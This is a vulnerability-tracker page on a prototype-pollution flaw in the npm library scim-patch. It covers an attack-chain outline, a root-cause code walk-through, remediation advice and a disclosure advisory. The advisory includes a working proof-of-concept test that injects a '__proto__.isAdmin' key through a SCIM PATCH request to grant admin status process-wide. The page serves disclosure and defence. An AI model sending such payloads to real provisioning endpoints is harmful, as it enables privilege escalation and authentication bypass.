Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessObtain SCIM provisioning credentials
-
DeliverySend PATCH /Users/:id with __proto__ key in value
-
Exploitscim-patch walks key onto Object.prototype
-
ExecutionObject.prototype.isAdmin set process-wide
-
PersistSubsequent request authorizes as admin
-
ImpactPrivilege escalation or auth bypass
Vulnerability Assessment
| Weakness |
CWE
ASVS 5.0
V3 - Web Frontend Security Prototype pollution prevention
MITRE ATT&CK
2 techniques across 2 tactics: Execution, Initial Access The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | The target application must (a) embed the npm package scim-patch at version <= 0.9.0 and (b) call |
| Impact | The NVD CVSS 3.1 vector AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:H/A:L (9.1, Critical) accurately captures that exploitation is a single network PATCH from any provisioning client, with scope change reflecting the fact that the library bug mutates the entire Node process. Real-world risk depends sharply on what the surrounding application reads from plain objects: in apps that branch on boolean admin flags or unset string properties the impact is full privilege escalation, while applications using |
| Exploit ScenarioDerived | A compromised or malicious identity provider (or any tenant with provisioning credentials) sends |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Jun 22, 2026
Prototype pollution in the npm package scim-patch (versions <= 0.9.0) allows authenticated SCIM provisioning clients to mutate Object.prototype process-wide by submitting a PATCH operation whose value object contains a key such as __proto__.someProp or constructor.prototype.someProp. Because the side effect persists for the lifetime of the Node process and leaks into every plain object, downstream code that checks flags like req.user.isAdmin against unpolluted plain objects can suffer privilege escalation, logic bypass, or denial of service. Publicly available exploit code exists (proof-of-concept in the GHSA advisory and now in the package's test suite); no public exploit identified as in-the-wild use at time of analysis.
RemediationAI
Vendor-released patch: upgrade scim-patch to 0.9.1 or later, which adds a denylist of __proto__, constructor, and prototype segments in resolvePaths/assign and throws InvalidScimPatchOp when they appear (commit https://github.com/thomaspoignant/scim-patch/commit/260f9cd2ac5ceac3976978850bb47dcb391720f6, advisory https://github.com/thomaspoignant/scim-patch/security/advisories/GHSA-9m6g-wc8r-q59c). For consumers who cannot upgrade immediately, start the Node process with the --frozen-intrinsics flag, or explicitly call Object.freeze(Object.prototype), Object.freeze(Array.prototype), and Object.freeze(Function.prototype) at startup - this neutralizes prototype writes (silent no-op in sloppy mode, TypeError in strict mode) at the cost of breaking any code that monkey-patches built-in prototypes. As an interim WAF/middleware control, reject SCIM PATCH request bodies whose JSON contains the substrings __proto__, constructor, or prototype in keys before they reach scimPatch(); the trade-off is potential false positives if legitimate SCIM extension attributes contain those tokens, which is uncommon but possible.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in npm
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
scim-patch is a TypeScript/Node.js library implementing the SCIM 2.0 PATCH semantics (RFC 7644) used by identity providers and provisioning servers to update User and Group resources. The root cause (CWE-1321, Improperly Controlled Modification of Object Prototype Attributes) lives in src/scimPatch.ts: addOrReplaceObjectAttribute iterates attacker-controlled patch.value entries with Object.entries and feeds each key to resolvePaths, which splits on .. The resulting key path is then walked by assign with no denylist, so a segment of __proto__ causes the walker to step from a plain object onto Object.prototype and write the final segment there. The affected package is identified by CPE pkg:npm/scim-patch.
Know when Prototype Pollution gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:H/A:L
Network-reachable SCIM PATCH (AV:N/AC:L), requires a provisioning token (PR:L), no user interaction; library bug mutates whole Node process (S:C) with high integrity and partial confidentiality/availability impact.
Primary rating from Vendor (https://github.com/thomaspoignant/scim-patch).
CVSS VectorVendor: https://github.com/thomaspoignant/scim-patch
DescriptionCVE.org
Summary
scim-patch performs prototype pollution when applying a SCIM PATCH operation whose value object contains a key like "__proto__.someProp". After one such patch, Object.prototype.someProp is set process-wide, affecting every plain object in the Node process.
Any service that calls scimPatch() on attacker-controlled JSON (i.e. any SCIM endpoint accepting PATCH from an external IdP) is exploitable on a stock Node runtime.
Impact
- Class: Prototype pollution (CWE-1321)
- Affected versions:
<= 0.9.0(current HEAD871b1e2) - Attack vector: Network - sent as part of a normal SCIM
PATCH /Users/:idrequest body. - Privileges required: Whatever the SCIM endpoint requires. For most integrations that's a provisioned IdP, which is "low" in CVSS terms (any authenticated provisioning client).
- Scope: Changed - the bug is in a SCIM library but the side effect (
Object.prototypemutation) leaks into the entire Node process.
Downstream consequences depend on what other code reads from plain objects. Realistic outcomes observed in similar bugs:
- Privilege escalation if any auth/middleware code checks
actor.isAdmin/req.user.admin/ similar boolean flags against a plain object that *expects* the key to be absent. - Logic bypass / DoS if any code branches on
obj.name,obj.type,obj.idetc. against plain objects (e.g.pg's prepared-statement naming check - a real incident at one consumer). - Persistence: lasts until the Node process restarts, so the blast radius is *every* request that container handles after the pollution.
Root cause
In src/scimPatch.ts:415-427, addOrReplaceObjectAttribute iterates the user-supplied patch.value with Object.entries and feeds each key to resolvePaths, which splits on .:
function addOrReplaceObjectAttribute(property: any, patch: ScimPatchAddReplaceOperation, multiValuedPathFilter?: boolean): any {
if (typeof patch.value !== 'object') { ... }
// src/scimPatch.ts:423-427
for (const [key, value] of Object.entries(patch.value)) {
assign(property, resolvePaths(key), value, patch.op);
}
return property;
}assign then walks the resulting key path with no filtering on dangerous keys (src/scimPatch.ts:437-445):
function assign(obj: any, keyPath: Array<string>, value: any, op: string) {
const lastKeyIndex = keyPath.length - 1;
for (let i = 0; i < lastKeyIndex; ++i) {
const key = keyPath[i];
if (!(key in obj)) {
obj[key] = {};
}
obj = obj[key]; // ← obj["__proto__"] === Object.prototype
}
// ... assigns into Object.prototype
}For keyPath = ["__proto__", "polluted"]:
"__proto__" in objis always true, so the fresh-object branch is skipped.obj = obj["__proto__"]now points toObject.prototype.- The final write lands on
Object.prototype.polluted.
The same shape works for constructor.prototype keys.
Proof of concept
Drop this in test/prototypePollution.test.ts and run npm run build && npx mocha lib/test/prototypePollution.test.js. Both tests pass against HEAD 871b1e2:
import { scimPatch } from '../src/scimPatch';
import { ScimUser } from './types/types.test';
import { expect } from 'chai';
describe('Prototype pollution via scim-patch', () => {
let scimUser: ScimUser;
beforeEach(() => {
scimUser = JSON.parse(`{
"schemas": ["urn:ietf:params:scim:schemas:core:2.0:User"],
"id": "tea_4",
"userName": "spiderman",
"name": { "familyName": "Parker", "givenName": "Peter" },
"active": true,
"emails": [{ "value": "spiderman@superheroes.com", "primary": true }],
"roles": [],
"meta": { "resourceType": "User", "created": "x", "lastModified": "x", "location": "x" }
}`);
});
afterEach(() => {
delete (Object.prototype as any).polluted;
delete (Object.prototype as any).isAdmin;
});
it('pollutes Object.prototype via a value-key containing __proto__', () => {
expect(({} as any).polluted).to.equal(undefined);
scimPatch(scimUser, [{
op: 'add',
path: 'name',
value: { '__proto__.polluted': 'yes' }
}]);
expect((Object.prototype as any).polluted).to.equal('yes');
expect(({} as any).polluted).to.equal('yes');
});
it('elevates Object.prototype.isAdmin - the admin-escalation shape', () => {
expect(({} as any).isAdmin).to.equal(undefined);
scimPatch(scimUser, [{
op: 'add',
path: 'name',
value: { '__proto__.isAdmin': true }
}]);
expect((Object.prototype as any).isAdmin).to.equal(true);
expect(({} as any).isAdmin).to.equal(true);
});
});Suggested fix
Reject the three dangerous keys in assign() before the walk. Minimal patch:
const DANGEROUS_KEYS = new Set(['__proto__', 'constructor', 'prototype']);
function assign(obj: any, keyPath: Array<string>, value: any, op: string) {
for (const key of keyPath) {
if (DANGEROUS_KEYS.has(key)) {
throw new InvalidScimPatchOp(`Forbidden key in patch path: ${key}`);
}
}
// ... existing logic
}Alternative, slightly safer: switch the walk target to Object.create(null) nodes when creating intermediate objects, and use Object.defineProperty(obj, key, { value, enumerable: true, configurable: true, writable: true }) instead of obj[key] = value for the final write. That defends against future prototype-walking sinks even if a key sneaks past the denylist.
Either approach is a non-breaking change - legitimate SCIM clients never send these keys.
Mitigation for consumers who can't upgrade immediately
Calling Object.freeze(Object.prototype) (and the same on Array.prototype, Function.prototype) at process startup neutralizes this class of bug - assignment to a frozen prototype becomes a silent no-op in sloppy mode or a TypeError in strict mode. Node's --frozen-intrinsics flag does this for built-ins automatically.
Credit
Discovered by Lee Wang (Notion). Reported by David Wu (Notion).
Report authored by Claude. Reviewed by David Wu.
Articles & Coverage 1
Executive ViewAI
The npm package scim-patch (versions 0.9.0 and earlier), widely used in user identity provisioning, contains a critical vulnerability that allows privilege escalation and security control bypass. Publicly available exploit code exists, potentially enabling unauthorized access escalation across your organization's identity infrastructure. Immediate patching is required for all systems using this package.
Apply vendor patch.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Privilege escalation occurs when an attacker leverages flaws in access control mechanisms to gain permissions beyond what they were originally granted.
More in Prototype Pollution
View allPrototype pollution in Adobe Acrobat Reader versions 24.001.30356, 26.001.21367 and earlier enables arbitrary code execu
All versions of package dojo are vulnerable to Prototype Pollution via the setObject function. Rated critical severity (
Prototype pollution in the farinspace Partners WordPress plugin (versions up to and including 0.2.0) enables remote unau
The package handlebars before 4.7.7 are vulnerable to Prototype Pollution when selecting certain compiling options to co
This affects the package ini before 1.3.6. Rated critical severity (CVSS 9.8), this vulnerability is remotely exploitabl
Prototype pollution vulnerability in 'deephas' versions 1.0.0 through 1.0.5 allows attacker to cause a denial of service
A Prototype Pollution issue in Cronvel Tree-kit v.0.7.4 and before allows a remote attacker to execute arbitrary code vi
A Prototype Pollution issue in Aliconnect /sdk v.0.0.6 allows an attacker to execute arbitrary code via the aim function
All versions of the package safe-eval are vulnerable to Prototype Pollution via the safeEval function, due to improper s
This affects the package vm2 before 3.9.4 via a Prototype Pollution attack vector, which can lead to execution of arbitr
Prototype Pollution in chargeover redoc v2.0.9-rc.69 allows attackers to execute arbitrary code or cause a Denial of Ser
alizeait unflatto <= 1.0.2 was discovered to contain a prototype pollution via the method exports.unflatto at /dist/inde
EUVD-2026-54686
GHSA-9m6g-wc8r-q59c
NVD
CVE.org
EPSS
VulDB
Exploit-DB